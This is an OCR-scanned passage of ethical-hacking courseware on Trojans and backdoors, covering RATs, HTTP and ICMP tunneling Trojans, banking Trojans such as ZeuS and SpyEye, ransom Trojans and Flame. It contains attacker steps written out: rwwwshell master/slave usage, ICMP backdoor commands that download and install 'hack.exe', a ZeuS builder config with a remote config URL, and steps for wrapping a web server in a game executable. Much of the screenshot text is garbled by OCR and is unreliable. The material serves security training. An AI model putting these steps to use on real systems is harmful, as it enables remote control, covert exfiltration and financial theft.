- VNC Trojans: W inVNC and VNC Stealer
WinVNC and VNC Stealer are two VNC Trojans.

W inV NC

WinVNC is used for a remote view or to control a Windows machine so this becomes
athreat as attackers are able to inject a Trojan into the system and then they are able to access
the target's system remotely.

VNC Stealer

VNC Stealer is a Trojan written in Visual Basic. VNC.EXE has been used to perform the
following behavior:

9 The process is packed and/or encrypted using a software packing process
9 Creates system tray pop-ups, messages, errors, and security warnings

9 Adds products to the system registry

9 Writes to another Process's Virtual Memory (process hijacking)

9 Executes a process

9 Creates new folders on the system
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9 This process deletes other processes from a disk

0 The process hooks code into all running processes, which could allow it to take control
of the system or record keyboard input, mouse activity, and screen contents

Registers a Dynamic Link Library File

WinVNC VNC Stealer

WIinVNC: Current User Properties

Incoming Connections OK
f? Accept Socket Connections
Cancel
Display Number: [~
Apply

Password:

P Accept CQR8A Connect** -
'~ Disable Remote Keyboard & Pomnter

T Disable Local Keyboardi Ponte*

Update Hanting

N Pol Console
r Pol Ful Screen Windows Only

P Pol Foreground Window T

I Polwndow Under Cusor

FIGURE 6.23: Screenshots showing WinVNC and VNC Stealer
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HTTP/HTTPS Trojans CEH

The child program
appears to be a userto

HTTP Trojans Spawn the firewall so it is

allowed to access
can bypass any

. . the Internet
firewall and work in
w They are

executed on the

the reverse way of a

straight HTTP tunnel
/' internal host and

spawn achild at a
predetermined time *

HTTP request
to download afile

Trojan passes through

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

HTTP/HTTPS Trojans

HTTP/HTTPS Trojans can bypass any firewall, and work in the reverse way of a straight
HTTP tunnel. They use web-based interfaces and port 80. These Trojans are executed on the
internal host and spawn a child every day at a certain time. The child program appears to be a
target to the firewall which, in turn, allows it to access the Internet. However, this child
program executes a local shell, connects to the web server that the attacker owns on the
Internet through a legitimate-looking HTTP request, and sends it a ready signal. The legitimate-
looking answer from the attacker's web server is in reality a series of commands that the child
can execute on the machine's local shell. All traffic is converted into a Base64-like structure and
given as a value for a cgi-string, so the attacker can avoid detection. The following is an

example of a connection:
Slave: GET/cgi-bin/order? M5mAejTgZdgYOdglOOBqgFfVYTgjFLdgxEdbIHe7krj HTTP/1.0
Master replies with: gSmAIfbknz

The GET of the internal host (SLAVE) isjust the command prompt of the shell; the answer is an
encoded "Is" command from the attacker on the external server (MASTER). The SLAVE tries to
connect daily at a specified time to the MASTER. If needed, the child is spawned because if the
shell hangs, the attacker can check and fix it the next day. In case the administrator sees

connections to the attacker's server and connects it to himself, the administrator just sees a
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broken web server because there is atoken (password) in the encoded cgi GET request. WWW
proxies (e.g., squid, a full-featured web proxy cachel) are supported. The program masks its
name in the process listing. The programs are reasonably small with the master and slave
programs, just 260-lines per file. Usage is easy: edit rwwwshell.pl for the correct values,
execute "rwwwshell.pl slave" on the SLAVE, and run "rwwwshell.pl" on the MASTER just before

it isthe time at which the slave tries to connect.

FIGURE 6.24: Victim's system infected with HTTP Trojans
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HTTP Trojan: HTTP RAT

Infect the victim's computer with
server.exe and plant HTTP Trojan

The Trojan sends an email
with the location of an IP address

Connectto the IP address
using a browser to port 80

e Displays ads, records personal
data/keystrokes

» Downloads unsolicited files, disables
programs/system

© Floods Internet connection, and
distributes threats

© Tracks browsing activities and hijacks
Internet browser

6 Makes fraudulent claims about spyware
detection and removal

Copyright © by BEGAWAL. anl Rights Reserved. Reproduction is Strictly Prohibited.

HTTP Trojan: HTTP RAT

RATs are malicious programs that run invisibly on host PCs and permit an intruder
remote access and control. A RAT can provide a back door for administrative control over the
target computer. Once the target system is compromised, the attacker can use it to distribute
RATs to other vulnerable computers and establish a botnet. The RAT enables administrative
control and makes it possible for the attacker to watch all the target's actions using keyloggers
or any other spywares. An attacker can also implement credit card fraud, identity theft using
confidential information, and can remotely access web cams and video recordings, take
screenshots, format drives, and delete, download, and alter files. It can't be detected as it

works like genuine programs and it is not easily noticed.
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O HTTP RAT 0.31
YXMTTP RAT Infect the victim's computer with
rr ;
. bTilxk kdoor Webserver SErver.exeand plant HTTP Trojan
/by zOmbie
N <*>
The Trojan sends an email
KMxrn i . . with the location of an IP address
iwngi

& tend noMic*hon wtth p «ddrett 10 mal

SMTPtaw 4 serving mat
u c4n spearfy tev«dl s «wt detntfod Mih .

IBSHSBSS8SS9------

you«md«tt*is Connect to the IP address
fyouOmadco'n

using a browser to port 80
P cteeFWWA trve»portfss

Victim

Generates |
server.exe :

using HTTP RAT : w»kom» 2 HTTP_RAT infected computer >:]

« IynrwgmtiiM1 rtihimis«l  mhim lsnneml

Attacker

FIGURE 6.25: Attacker infecting Victim's system using HTTP RAT
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Shttpd Trojan - HTTPS (SSL) CEH

0 0
J SHTTPD is a small HTTP Server that can be embedded inside any
program
J Itcan be wrapped with a genuine program (game chess .exe), when
executed it will turn a computer into an invisible web server
0 0
Normally Firewall allows
Attacker

you through port 443 Encrypted Traffic

Victim
IP: 10.0.0.5:443

IP: 10.0.0.8:443

Connect to the victim using Web Browser Infect the victim's computer with chess .exe
http://10.0.0.5:443 S httpd should be running in the background
listening on port 443 (SSL)
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Shttpd Trojan -HTTPS (SSL)

D-fr-a
Shttpd is a small

HTTP server that can easily be embedded
source code

inside any program. C++
is provided. Even though shttpd

is not a Trojan, it can easily be wrapped with a
chess.exe file and it can turn acomputer into an invisible web server.

0 Infect the target's computer with chess.exe.
0 Shttpd should be running in the background listening on port 443 (SSL).
9 Connectto the target using aweb browser: http://10.0.0.5:443.
. 6 -
Normally Firewall allows .
Attacker you through port 443 Encrypted Traffic Victim
IP: 10.0.0.5:443

IP: 10.0.0.8:443

Connect to the victim using Web Browser Infect the victim's computer with chess .exe
http://10.0.0.5:443 S httpd should be running in the background
listening on port 443 (SSL)

FIGURE 6.26: Attacker infecting Victim's system using Shttpd Trojan
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ICMP Tunneling

J Covertchannels are methods in which an attacker can hide the data in a protocol
that is undetectable

J Theyrely ontechniques called tunneling, which allow one protocol to be carried 47

over another protocol

J ICMP tunneling uses ICMP echo-request and reply to carry a payload and
stealthily access or control the victim's machine

| ICMP Client ICMP Trojan: ICMP Server
(Command: icmpsend (Command:
icmpsend <victim [IP>) icmpsrv -install)
& Command Prompt 0~ Command Prompt
C:\Documents and Sett»>gs\Adm1n1stratOf.VINDOWS\DesktOp\I C:\D and Settil VINDOWS\Desktop\ICMP
CMP Backdoor WIn32>1cmp Backdoor WIn32>kmp
Send 12700 1 Commands
are sent using
—(ICMP-Cmd v1.0 beta, by Qxisone ]—
- i E-mail:  flalsQnttthQtmill.com | - ICMP protocol —{  IGVP-Cmd vI.O beta, by gxlsone - }—
— 2012/B/151— b~
Usage: icmpsend RemotelP -i 2012//15
CUHC or Q/q to Quite  H/h for help Usage: kmpsrv -install <to Instem service>
1clap-caco>H Kmpsrv -remove <to remove service>
[nttp://127.0.0.1/hack.exe =admin exe] *Download Files. Parth is Msystem Transmitting File _ Success |

32> Creating Service _ Success |

Starting Service - Pending _ Success |
C:\Documents and SettingsVWministrator.VINOOWS\DesfctopVICMP Backdoor
Win32

[psltst] <Lrst the Process>
[pskim D] <Kim the Process>
Command  <ran the comnund>
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ICM P Tunneling

The concept of ICMP tunneling is simple since arbitrary information tunneling in the
data portion of ICMP_ECHO and ICMP_ECHOREPLY packets is possible. ICMP_ECHO traffic
contains a covert channel that can be destroyed due to tunneling. Network devices do not filter

the contents of ICMP_ECHO traffic, making the use of this channel attractive to hackers.

Attackers simply pass them, drop them, or return them. The Trojan packets themselves are
masquerading as common ICMP_ECHO traffic. The packets can encapsulate (tunnel) any

required information.

Covert channels are methods in which an attacker can hide the data in a protocol that is
undetectable. They rely on techniques called tunneling, which allow one protocol to be carried
over another protocol. A covert channel is defined as a vessel through which the information
can pass, and it is generally not used for information exchanges. Therefore, covert channels
cannot be detected by using standard system security methods. Any process or bit of data can
be a covert channel. This makes it an attractive mode of transmission for a Trojan, since an

attacker can use the covert channel to install the backdoor on the target machine.
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ICMP Client

(Command:

icmpsend Cvictim ip>)

Command Prompt

C:\Documents and S«ttings\AdmInistrator.VINDOW S\Desktop\|
CMP Backdoor Win32>icmp
Send 127.0.0.1

=====w«ico«ne to ww>v.hachgrxfil*s.n«=:
—[ ICMP-Cmd v1 0 beta, by gxisone J—
—{E-mail:  gxisone@hotmail com ]—
—C

2012/8/15]—
Usage: icmpsend RemotelP
Ctrl+C or Q/q to Quite  H/h for help
ICMP-CMD>H
[http://127.0.0.1/hack.exe =admin.exe] <Download Files. Parth is Wsystem
32>

[pslist] <Listthe Process>
[pskill 1D] <Kill the Process>
Command  <run the command>
ICMP-CMD

ICMP Trojan:
icmpsend

Commands
are sent using
ICMP protocol

ICMP Server

(Command:
icmpsrv -install)

Command Prompt

C:\Documents and Settiings\Admini3trator.VVJDOWS\De9ktop\ICMP
Backdoor Win32>icmp
Srv-install

— -Welcome to www.hatkerxfiles.net
ICMP-Cmdv1.0 beta, bygxisone ]—

— [ F-mdil: gxisone@ hotmail.com —

Usage: lempsrv-install <to install service>

Icmpsrv-remove <to remove service>
Transmitting File" . Success!
Creating Service ~ Success |
starting Service... Pending... success!
c:\DoajmentsandSettings\Administrator.viNDOWb\Desktop\1C M’ Backdoor

FIGURE 6.27: ICMP Tunneling
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Remote Access Trojans CEH

111
Attacker gains 100% |
(complete) access
to the system
Rebecca Victim
Infected with RAT Trojan
J This Trojan works like a remote desktop 1. Infect (Rebecca's) computer with server.exe
access and plant Reverse Connecting Trojan
J Hacker gains complete GUI access to the 2. The Trojan connects to Port 80 to the
remote system attacker in Russia establishing a reverse

connection

3. Jason, the attacker, has complete control
over Rebecca's machine

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Rem ote Access Trojans

1 Remote access Trojans provide full control over the target's system to attackers and
enables them to remotely access files, private conversations, accounting data, and so on in the
target's machine. The remote access Trojan acts as a server, and listens on a port that is not
supposed to be available to Internet attackers. Therefore, if the target is behind a firewall on
the network, there is less chance that a remote attacker would be able to connect to the
Trojan. Attackers on the same network located behind the firewall can easily access the

Trojans.

Examples include the Back Orifice and NetBus Trojans. Another example, the Bugbear virus
that hit the Internet in September 2002, installed a Trojan horse on targets' systems, giving

access to sensitive data to the remote attackers.

This Trojan works like a remote desktop access. The attacker gains complete GUI access to the

remote system.
The process is as as follows:
1. Infects (Rebecca's) computer with server.exe and plants Reverse Connecting Trojan.

2. The Trojan connects to Port 80 to the attacker in Russia establishing a reverse

connection.

Module 06 Page 903 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Trojans and Backdoors

3. Jason, the attacker, has complete control over Rebecca's machine.

Attacker gains
100% (complete)
access
to the system .

Rebecca Victim

Infected with RAT

Jason Attacker

Sitting in Russia

FIGURE 6.28: Attacker infecting victim's machine using Remote access Trojans
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Remote Access Trojan: RAT r cll
DarkComet and Apocalypse .. E?

hsodi D han/Qian]’Port
111668  MCtnwF. = 50/[192.1..
920 VichmesF. » = 5.1547f[192...
L 9C ‘lctmesF... - #2.43/[192..
@®C  YICOmesF.. « - *6.142/[192.. LSCSOT-HI/C<*is32  Windows
1111CI2° wetwsjf. . + -« 27/[192.1...  OlIV2ISYSTEM wwol
\<e&mMF. . 138/[:92....  AUTHOHYLOPSZf5ys... Wndove
. 13 sctmesF.. +6.23/]192"..  PC-OESHCLGO/Sho... Window
; 136/]192...  ANTHONYLOPEZ/ue.  windows
Cl%W\bm&.. .. 150/]192...  SNAKE-ETD7ICD4A If... Wincows
U18C-  Uc&maaF... 27/11921..  DIV2/ Acrwsitrtur  Wirtdows
&1 F... +6.28/]192... PCEOCSHXEX3/Sho.. Wndo/tt
ttcanesP... + 42.43/]192. PCOSWOI/ rxx Windows
. 55/]1921. SNAKEISICCPC/«**... Wirvijus
Ul2JO Megntt... 07/[192.1..  PCO6 *ALEX/ ALEX Viedows
i.18%  VKGMEF.. + - M *4/[19216.. TTANCN/Adnrwfrc... W<dows
<l B* VOOMWF.. - tm .46.142/[192.. L5COOT-lI/, WHIOWS
£ 260 . e <" 1721]782..  DAMIENRC ldnc Wndov* 9
tJ:240 VOTXOF.. -+ SI[192.1.. OAVIDOURSPC/D*v.  Wirdow S
ul::23 Uc&ntlF... 07/[192.1.. PCOCAIQC/S<SICV  Whndoe'« *
o vl A
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R em ote A ccess Trojan: RAT D arkCometand

A pocalypse

DarkComet is a tool that allows you to remotely access the administrative controls and
privileges of an infected machine without the user's knowledge or permission. It provides you
with access to processes, registry, command prompts, webcams, microphones, applications and

can even provide a keylogger whenever you use the system.
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Apocalypse Remote Access Trojan
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FIGURE 6.29: RAT DarkComet Screenshot

is a tool that allows you to modify the entire registry and

invisible mode when it is executed.
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Covert ChannelTrojan: CCTT CEH

J Covert Channel Tunneling Tool (CCTT) Trojan presents various exploitation techniques,
creating arbitrary data transfer channels in the data streams authorized by a network access
control system

J It enables attackers to get an external server shell from within the internal network and vice-
versa

J It sets a TCP/UDP/HTTP CONNECT | POST channel allowing TCP data streams (SSH, SMTP, POP,
etc...) between an external server and a box from within the internal network

CCTT
Proxy Chain Server

Client

Copyright (0] by EG-Gtuncil. All Rights Reserved. Reproduction is Strictly Prohibited

Covert Channel Trojan: CCTT

The Covert Channel Tunneling Tool is a hidden channel tool. It provides you with
many probable ways to achieve and allow arbitrary data transfer channels in the data streams
(TCP, UDP, HTTP) authorized by a network access control system. A Covert Channel Tunneling
Tool (CCTT) Trojan presents various exploitation techniques, creating arbitrary data transfer
channels in the data streams authorized by a network access control system. It enables
attackers to get an external server shell from within the internal network and vice versa. It sets
a TCP/UDP/HTTP CONNECT|POST channel allowing TCP data streams (SSH, SMTP, POP, etc...)

between an external server and a box from within the internal network.

Client
Target
Services
FIGURE 6.31: Covert Channel Trojan
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E-banking Trojans CEH

imttiM  tUx4 Nrim

E"banking Trojans

E-banking Trojans are very dangerous and have become a major threat to the banking
transactions performed online. This Trojan is installed on the victim's computer when he or she
clicks the email attachment or clicks on some advertisement once the target logins in to the
banking site. The Trojan is preprogrammed with a minimum range and maximum range to
steal. So it doesn't withdraw all the money from the bank. Then the Trojan creates screenshots
of the bank account statement; the victims aren't aware of this type of fraud and thinks that
there is no variation in their bank balance unless they check the balance from other systems or

from ATM machines. Only when they check the balance will the differences be noticed.

The following diagram explains how the attack is carried out using E-banking Trojans.
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Malicious advertisements published
among the legitimate websites

. User access to infected
Uploads malicious

d . R M al S website
1l L
advertisements alware Server Legitimate
The website is redirected to — W ebsites
CW « the maNciousexploit kit 4 W
User redirects to malicious
A exploit kit Trojan reports for a new bot
Sends instruction to the Troj,
s. A 0 The User's PC exploited n
Trojan reports user activities
.
Attacker k) rl w wear
% - Instruction to manipulate
banks transactions Control and
$ User access bank A/C Command Server
m>24 .
[ S| Manipulates user's bank Reports about successful/failed
transaction transaction

Financial Institution

FIGURE 6.32: illustrating the attack using E-banking Trojans

Here the attacker first infects the malicious advertisements and publishes these advertisements
among genuine websites. When the victims access the infected website, it automatically
redirects him or her to a website from where the exploit kit gets loaded onto the victim's
system. Thus, the exploit kit allows the attacker to control what is loaded in the victim's system
and used for installing a Trojan horse. This malware is highly obfuscated and can only be
detected by few anti-virus systems. The system of the victim is now a botnet from where the
Trojan easily sends and receives instruction from the control and command server without the
knowledge of the victim. When a victim access his or her bank account from the infected
system, all the sensitive information, i.e., used by the victim in accessing account information
such as login credentials (user name password), phone number, security number, date of birth,
etc. are sent to the Control and Command Server by the Trojan. If the victim is accessing the
transaction section of the banking website for performing online transactions, then the data
that is entered by the victim on the transaction form is sent to the Control and Command
Server instead of to the bank website. The control and command server system analyzes and
decodes the information and identifies suitable money mule bank accounts. The Trojan
receives instructions from the control and command server to send the latest transaction form
that is updated by the control and command server to the bank for transferring money to the
mule account. Confirmation from the bank about successful/failed transaction of the money

that was transferred is also reported by the Trojan to the control and command server.
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Banking Trojan Analysis CEH

(ertifwtf  ItkNjl Nm b

e Trojan intercepts valid
entered by a user

0 Itreplaces the TAN with a random number that will be rejected by
the bank

Q Attacker can misuse the intercepted TAN with the user's login details

Trojan creates fake form fields on e-banking pages

Additional fields elicit extra information such as card number and
date of birth

Attacker can use this information to impersonate and compromise
victim's account

a Trojan analyses POST requests and responses to victim's browser
a Itcompromises the scramble pad authentication

a Trojan intercepts scramble pad input as user enters Customer Number
and Personal Access Code
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B anking Trojan A nalysis

A banker Trojan is a malicious program that allows obtaining personal information

about users and clients using online banking and payment systems.
A banking Trojan analysis involves the following three basic types:

Tan Gabbler: A Transaction Authentication Number (TAN) is used for authenticating the online
banking transaction, which is a single-use password. The banking Trojan explicitly attacks the
target's online banking services that depend on the TAN. When the TAN is entered, the Trojan
grabs that number and changes that number with any random number that is incorrect and
rejected by the bank. The content is filtered by the Trojan and the incorrect number is replaced
in order to satisfy the target. An attacker can misuse the intercepted TAN with the target's login

details.

HTML Injection: This type of Trojan creates duplicate fields on the online banking sites and
these extra fields are used by the attacker to collect the targets account details, credit card
number, date of birth, etc. Attackers can use this information to impersonate and compromise

the target's account.

Form Grabber: This is an advanced method of collecting data from the Internet available on the
various browsers. This is highly effective in collecting the target IDs, passwords, and other

sensitive information.
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Ebanking Trojan: ZeuS and SpyEye  CEH

J The main objective of ZeuS and SpyEye Trojans isto steal bank and credit card account
information, ftp data, and other sensitive information from infected computers via

web browsers and protected storage

J SpyEye can automatically and quickly initiate an online transaction

ZeuS Control Panel

Builcer
Configand loader kuidng
Souc9corfig file:
' tiHnri Irents and cfi*ng<\krhayacH\>«h<p\T>.arl_7t|'7: S p y E y e
| Exit conFg 10 Bijild corfij ] M 0 AJflInOWO  jI Statistic Settings J
<™t *Mtisti<
Loodnj conFAg from filo C:\Dogjmorts and

>5mnaslK0bayash\DesWop\iroyanou"Uej>\iocel\cco?1alxe
Loodng swuxdygsd? P g

craacin loader fie XiUxiiurrentsaric
SoUl \DosW.oplrrovano ZouS\r.oxol.
X 60000

tmsrJ Oas-*>ui)ui). touuu

ttwr_2tats60000 2000007 )

irl conl'a'=h0:D://203 H2.10.2/'</ou'trvfvred.iclabrl
u'l_compip-h’tp:/Miabsmyip.car/

tsjld succeeded!

botneHMAIN|
fomr_oonfi

( ANV at hrp, Mvoxmiorrtoft-Amvoud
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E"banking Trojan: ZeuS and SpyEye

Zeus

Source: http://www.secureworks.com

ZeuS is a latest threat for online banking transactions as it uses both form grabber as well as

keystroke logging. It is mainly spread through drive-by downloads and phishing schemes. The

ZeuS botnet targets only Windows. New version of ZeuS even affects Windows Vista. It has

evolved over time and includes a full arsenal of information stealing capabilities:

0 Steals data submitted in HTTP forms
0 Steals account credentials stored in the Windows Protected Storage
0 Steals client-side X.509 public key infrastructure (PKI) certificates
0 Steals FTP and POP account credentials
0 Steals/deletes HTTP and Flash cookies
0 Modifies the HTML pages of target websites for information stealing purposes
0 Redirects targets from target web pages to attacker controlled ones
0 Takes screenshots and scrapes HTML from target sites
Module 06 Page 911 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil

All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.secureworks.com

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Trojans and Backdoors

9 Searches for and uploads files from the infected computer
9 Modifies the local hosts file (%system root%\system32\drivers\etc\hosts)

tJ Downloads and executes arbitrary programs

Q Deletes crucial registry keys, rendering the computer unable to boot into Windows

&» ZeuS Control Panel

Builder
IBuilder Config and loader building

Logs decoder Source config file:

C:\Documents and Settings\KobayashADesktop\Troyano_ZeuSV [ Browse... |

Edit config I 1 Build config I 1 Build loader

Output

Loading config from fie 'C:\Documents and *
Setthgs\Kobayashi\Desktop\Troyano_ZetjS\ZeuS\local\config.txt"...
Loading succeededl

Creating loader file ‘C:\Documents and
Settngs\Kobayashi\Desktop\Troyano ZeuS\Idr.exe'...
botnet-[MAIN]

timer_conf!g-3600000, 60000

timerJogs-60000, 60000

timer_stats-1200000, 60000
url_config-http://203.142.10.2/~yo<jrtrav/web/cfg.bin
url_comp!p=http://whatsmyp.com/

Buld succeeded!

FIGURE 6.33: ZeuS Screenshot

r' SpyEye

SpyEye is malicious software that is used by the attacker to steal targets' money from
online bank accounts. Actually, this is a botnet with a network of command-and-control
servers. This automatically triggers when the target starts his or her transaction and can even

block the bank's transactions.

Soy Eye

09
0] 179 A FindINFO 1 Statistic Settings I]__I pid
2

Get statistic

Get hosts
D«V for
*gfn t
X
CTp»Hi'm m# http//www.mlcrosoftw<ndows-s<cufTty com co_ X
X
© Do you really to ban th« hotf (wwMr9009k.com) ? X
X
oK [ Otmom ] X
X
w.d«Im(H«*nung mcom 431 »X
421 X
342 X
FIGURE 6.34: SpyEyeScreenshot
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Destructive Trojans: M. sTsr

Trojan CEH

M4sT3ris a dangerous and This Trojan formats all local and
destructive type of Trojan network drives

When executed, this Trojan The user will not be able to boot
destroys the operating system the Operating System

Format USB Drive,
network Drive.....

Format C:\ EX\ F:\....
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r D estructive Trojans: M 4sT 3r Trojan

The M4sT3r Trojan is exclusively designed to destroy or delete files from the victim's
computer. Files are automatically deleted by the Trojans, which can be controlled by the
attacker or can be preprogrammed like a logic bomb to perform a particular task on a given

time and date.

When executed, this Trojan destroys the operating system. The victim cannot boot the

operating system. This Trojan formats all local and network drives.

Format USB Drive,
network Drive....

Format C:\ E:\ F:\.....

M4sT3r Trojan

FIGURE 6.35: Attacker using M4sT3r Trojan for deleting or destroying files
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Notificatior Trojans

m  Notification Trojan sends the location of the victim's IP address to the attacker

B Whenever the victim's computer connects to the Internet, the attacker receives
the notification

Notification Types

> SIN Notification Directly notifies the attacker's server

> ICQ Notification Notifies the attacker using ICQ channels

Sends the data by connecting to PHP server on

» PHP Notification
the attacker's server
> E-Mail Notification Sends the notification through email
Victim = > Net Send Notification is sent through net send command

Infected with
Trojan i > Sends the data by connecting to PHP server on

CGI Notification
the attacker's server

o> IRC notification Notifies the attacker using IRC channels

Copyright © by EGGOIIICI All RightsfgSen/ed;Reproduction is Strictly Prohibited.

N otification T rojans

Notification Trojans send the IP address of the victim's computer to the attacker.
Whenever the victim operates the system, the notification Trojan notifies the attacker. Some of

the notifications include:
© SIN Notification: Directly notifies the attacker's server
0 ICQ Notification: Notifies the attacker using ICQ channels
0 PHP Notification: Sends the data by connecting to PHP server on the attacker's server
0 Email Notification: Sends the notification through email
0 Net Send: Notification is sent through net send command
© CGI Notification: Sends the data by connecting to PHP serveron the attacker's server

© IRC notification: Notifies the attacker using IRC channels
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Credit Card Trojans CEH

Ut itdM Rdov

Credit card Trojans steal victims' credit card
related data such as card no., CVV2, and billing

Attacker details
A
W Credit card Trojans trick users to visit fake e-
banking websites and enter personal
information
II<

Trojan servers transmit the stolen data to
Victim remote hackers using email, FTP, IRC, or other

A methods
VISA
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Credit Card Trojans

Credit card Trojans, once they are installed on the victim's system, collect various
details such as credit card numbers, latest billing details, etc. Then, a fake online banking
registration form is created and they make the credit card user believe that it is genuine
information from the bank. Once the user enters the required information, attackers collect the

information and use the credit card for personal use without the knowledge of the victim.

Credit card Trojans steal victims' credit-card-related data such as card number, CVV2s, and
billing details. These Trojans trick users into visit fake e-banking websites and entering personal
information. The Trojan servers transmit the stolen data to remote hackers using email, FTP,

IRC, or other methods.
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FIGURE 6.36: Attacker stealing credit card information of victim's using credit card Trojan
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Data Hiding Trojans (Encrypted
Trojans)

Encryption Trojan encrypts Attackers demand a ransom
data files in victim's system or force victims to make
and renders information purchases from their
unusable online drug stores in return
for the password to unlock
"Your computer caught our files
software while browsing
illegal porn pages, all your ‘Do not try to search
documents, textfiles, for a program that
databases in the k encrypted your
folder / ™ >information - it
My Documents Company Confdentl ' sir.nply' does not
was encrypted with patabase Cee source code EXIStS. In your
" Personal hard disk anymore,"

complex password. Information Financial

portant Information pay us the mOney to

s & Folders unlock the password
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D ata H iding Trojans (Encrypted Trojans)

Encryption Trojans encrypt the data present on the victim's computer and renders the
complete data unusable: "Your computer caught our software while browsing illegal porn
pages, all your documents, text files, databases in the folder My Documents was encrypted with
complex password." Attackers demand a ransom or force victims to make purchases from their
online drugstores in return for the password to unlock files: "Do not try to search for a program
that encrypted your information - it simply does not exists in your hard disk anymore," pay us
the money to unlock the password.”" This can be decrypted only by the attacker, who demands

money, or they can force the user buy from afew websites for decryption.
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OS X Trojan: Crisis CEH

B OSX.Crisis is a Trojan horse that steals potentially confidential information and opens a back door
on the compromised computer

When the Trojan is executed, it creates the following directories and files:

ISystem/Library/Frameworks/Foundation.framework/XPCServices/com.apple.mdworker_server.xpc/Contents/MacOS/com.apple.mdw
orker_server

ISystem/Library/Frameworks/Foundation.framework/XPCServices/com.apple.mdworker_server.xpc/Contents/Resources/
$HOME/Library/LaunchAgents/com.apple.mdworker.plist

$HOME/Library/Preferences/jl3V7we.app

$HOME/Library/ScriptingAdditions/appleHID/Contents/Info.plist
$HOME/library/ScriptingAdditions/appleHID/Contents/MacOS/IUnsA3Ci.Bz7

SHOME/Library/ScriptingAdditions/appleHID/Contents/Resources/appleOsax.r

Crisis may perform the following actions:

Monitor Skype Audio traffic Record conversatiqns in MS
Messenger and Adium

- .
M onitor Safari or Firefox to record Send files to the command

websites and capture screenshots I and control server

—
Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

m OS X Trojan: Crisis
mi

victim's system and opens a back door on the compromised computer (victim's system) for

OSX.Crisis is a Trojan horse that steals potentially sensitive information that is on the

future attacks.

When the Trojan is executed, it creates the following directories and files:

/ISystem/Library/Frameworks/Foundation.framework/XPCServices/com.apple.mdworke
r_server.xpc/Contents/MacOS/com.apple.mdworker_server

/System/Library/Frameworks/Foundation.framework/XPCServices/com.apple.mdworke
r_server.xpc/Contents/Resources/

$HOME/Library/LaunchAgents/com.apple.mdworker.plist
$HOME/Library/Preferences/j13V7we.app
$HOME/Library/ScriptingAdditions/appleHID/Contents/Info .plist
$HOME/Library/ScriptingAdditions/appleHID/Contents/MacOS/IUnsA3Ci.Bz7
$HOME/Library/ScriptingAdditions/appleHID/Contents/Resources/appleOsax.r

The following are the actions performed by the OSX.Crisis:
9 Monitor Skype audio traffic
Q Monitor Safari or Firefox to record websites and capture screenshots
0 Record conversations in MS Messenger and Adium

9 Send files to the command and control server
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MAC OS X Trojan: DNSChanger ¢ EH

(ertifwtf  ItkKJl Nmim

jan uses social engineering techniques to make users download the program and run malicious code

The malware modifies the DNS settings of the active network. The users are forced to
download codecs or other movie downloads through QuickTime, etc. Once the download is
finished, then the Trojan is attacked, resulting in slow access to the Internet, unnecessary ads
popping up on the screen of the computer, etc. This Trojan uses social engineering techniques

to make users download the program and run malicious code.

FIGURE 6.37: Attacker injecting MAC OS X Trojan in victim's system through downloads and prompt
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MAC OS XTrojan: DNSChanger o £H

(Contd) UitV i a1

M AC OS X Trojan: DN SChanger (Cont’d)

After the user downloads the false codec, the process of tricking and retrieving the

user's information continues as follows:
0 DNS settings: Local machine's DNS settings are changed to attacker's IP address

0 Playing a video: After the fake codec is installed, a video is played so as not to raise

suspicions

9 HTTP message: A notification is sent to the attacker about the victim's machine using an

HTTP post message

9 Complete control: Hackers take complete control of the victim's MAC OS X computer
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Mac OS X Trojan: Hell Raiser CHH

(@WM  HMul  Hede

| m Hell Raiser allows an attacker to gain access to the victim system and send pictures, pop up chat messages, transfer files to
and from the victims system, completely monitor the victims operations, etc.

Chat interface

U 6CT nAXQRO «
mivicnxswvoow ) C DC
Victor's parameters
ims ( PSCONNICT.
*1
B EL e
Bit— .

Note: The complete coverage of MAC OS X hacking is presented in a separate module

Copyright 0 by IG Council. All Rights Reserved. Reproduction Is Strictly Prohibited

M ac OS X Trojan: Hell R aiser

Hell Raiser is malware that gets onto the victim's system when clicked on, the user it
is an innocent file. Once access has been gained to the victim's system, the attacker can send
pictures, pop-up chat messages, can transfer files to and from the victim's computer, and even

can turn ON and turn OFF the system from a remote location. Finally, victim operations can be

completely monitored.
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Trojan Analysis:Flame CEH

Flame, also known as Flamer, sKyWlper, or Skywiper, is modular computer malware discovered
in 2012 that attacks computers running the Microsoft Windows operating system

The malware is used fortargeted cyber espionage in Middle Eastern countries
Flame can spread to other systems over a local network (LAN) or via USB stick
It can record audio, screenshots, keyboard activity, and network traffic

The program also records Skype conversations and can turn infected computers into
Bluetooth beacons which attempt to download contact information from nearby
Bluetooth-enabled devices

Copyright O by E6-6«ncil. Ail Rights Reserved. Reproduction is Strictly Prohibited.

&g°N
O > Trojan A nalysis: Flam e

Source: http:// www.kasperskv.com

Flame, also known as Flamer, sKkyWlper or Skywiper, is modular computer malware that attacks
computers running the Microsoft Windows operating system. This malware is used for targeted
cyber espionage. It can spread to other systems over a local network (LAN) or via USB stick. It
can record audio, screenshots, keyboard activity, and network traffic. It also records Skype
conversations and can turn infected computers into Bluetooth beacons that attempt to
download contact information from nearby Bluetooth-enabled devices. The following diagram

depicts how an attacker succeeds in installing Flame on a victim's system.

Sends data to attacker ©
am

> M
O Provides a instruction
Sets command and
to getdata

control center

Attacker © Command and
Control Center
s
© b

Redirects to *ee
malicious server
© ©
Infects other hardware

J © U

Downloads a malware
Malware Server Infected Hardware in LAN

In order to inject a Trojan onto the victim's system and to gain sensitive information, attackers

first set a command and control center and a malware server. Next, the attacker sends a
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phishing email to the
opens the link, he or
downloaded onto the
the other hardware

command center are

victim's system and lures him or her to open the link. Once the attacker
she is redirected to the malicious server. As a result, the malware gets
victim's system and the system is infected. This infected machine infects
connected on the LAN. Thus, the commands from the control and

sent to and received from the infected hardware LAN. According to the

received commands, the infected hardware LANs send the data to the control and command

center.
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Trojan Analysis:Flame

The Flame C&C infrastructure, which had been

operating for years, went offline immediately after

Kaspersky Lab disclosed the discovery of the 0
malware's existence last week

Currently there are more than 80 known domains

used by Flame for C&C servers and its related

domains, which have been registered between B
2008 and 2012

